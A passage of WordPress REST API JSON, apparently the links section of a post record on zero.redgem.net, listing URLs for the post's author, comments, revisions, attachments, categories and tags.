/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=56932"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/56932\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=56932"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=56932"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=56932"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}